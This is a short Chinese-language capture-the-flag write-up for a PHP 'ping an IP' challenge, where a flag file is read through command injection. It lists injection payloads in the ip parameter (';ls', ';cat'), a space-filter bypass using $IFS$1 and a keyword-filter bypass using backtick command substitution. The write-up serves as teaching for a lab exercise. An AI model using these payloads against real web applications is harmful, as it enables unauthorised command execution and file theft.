解题步骤:
- 提示: /?ip=
- 这是URL中的查询参数,用于指定目标服务器的IP地址
- 构造payload: /?ip=127.0.0.1;ls
- 尝试将参数ip的值设置为127.0.0.1
- 127.0.0.1是本地回环地址,用于指代本机,当一个应用程序需要与本地进行通信时,可使用127.0.0.1作为目标地址
- “;”作为分隔符,将命令与前面的参数分开
- 在本地主机执行ls命令,以列出当前目录中的文件和文件夹
- 回显:
- 出现了flag.php
- 构造payload: /?ip=127.0.0.1;cat flag.php
- 尝试读取flag.php的内容
- 回显: /?ip= fxck your space!
- 过滤了空格
- 构造payload: /?ip=127.0.0.1;cat$IFS$1flag.php
- 在Linux中,可以使用
$IFS
(Internal Field Separator)变量来绕过空格
- 在Linux中,可以使用
- 回显: /?ip= fxck your flag!
- 猜测应用程序对flag这个关键字进行了过滤
- 构造payload: /?ip=127.0.0.1;cat$IFS$1index.php
- 查看index.php里的内容
- 回显:
- 一段PHP脚本,用于检测用户输入的IP地址是否包含恶意字符(通配符等)
- 如果包含恶意字符,程序将输出相应的错误信息并终止执行
- 否则,程序将使用ping命令测试该IP地址的连通性,并输出结果
- 构造payload: /?ip=127.0.0.1;cat$IFS$1反引号ls反引号
- 反引号在键盘左上方(和波浪线同一格~)在这里的作用是将命令的输出当作输入执行
- 回显
- 查看源代码,得到flag